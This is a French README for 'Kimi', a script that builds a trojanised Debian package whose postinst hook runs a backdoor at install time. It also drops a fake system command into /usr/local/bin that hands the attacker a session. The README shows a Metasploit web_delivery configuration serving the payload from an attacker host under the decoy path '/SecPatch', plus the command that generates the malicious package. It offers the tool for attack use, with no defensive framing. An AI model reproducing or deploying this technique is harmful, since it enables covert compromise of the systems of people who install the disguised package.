Kimi est un nom inspiré de « Kimimaro », l'un de mes personnages préférés d'un anime appelé « Naruto ».

Kimi est un script qui génère un paquet Debian malveillant pour Metasploit
qui contient un fichier bash. Le fichier bash est déployé dans le répertoire « /usr/local/bin/ ».

La porte dérobée est exécutée dès que la victime tente d'installer le paquet deb grâce au fichier postinst.

Le fichier bash injecte et agit également comme une commande système qui, lorsqu'elle est exécutée par la victime, permet à l'attaquant d'obtenir une session.

Points forts :
-- Totalement indépendant. L'utilisateur n'a pas besoin d'installer de créateur de paquets Debian
-- Peut être facilement intégré à n'importe quel générateur de charge utile grâce aux arguments (lame :P je sais)

Kimi dépend essentiellement du module web_delivery et tout est automatisé.
Tout ce que l'attaquant doit faire est de configurer les paramètres suivants :

Configuration de Web_Delivery dans msf :

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set srvhost 192.168.0.102
srvhost => 192.168.0.102
msf exploit(web_delivery) > set uripath /SecPatch
uripath => /SecPatch
msf exploit(web_delivery) > set Lhost 192.168.0.102
Lhost => 192.168.0.102
msf exploit(web_delivery) > show options
msf exploit(web_delivery) > exploit

Génération de la charge utile malveillante :

dreamer@mindless ~/Desktop/projects/kimi $ sudo python kimi.py -n nano -l 127.0.0.1 -V 1.0 -a i386

NOTE :: Ce projet a été créé pour être intégré avec Venom Shellcode Generator 1.0.13.
Il peut également être utilisé seul, tout ce que l'utilisateur doit faire est de modifier uripath dans les variables msf.
-------------------------------------------------------------------------------------

Testé sur :
            Linux Mint 17.2 Cinnamon (Ubuntu 14.04) 
            ParrotOS (Debian Jessie)
            Kali Rolling 2.0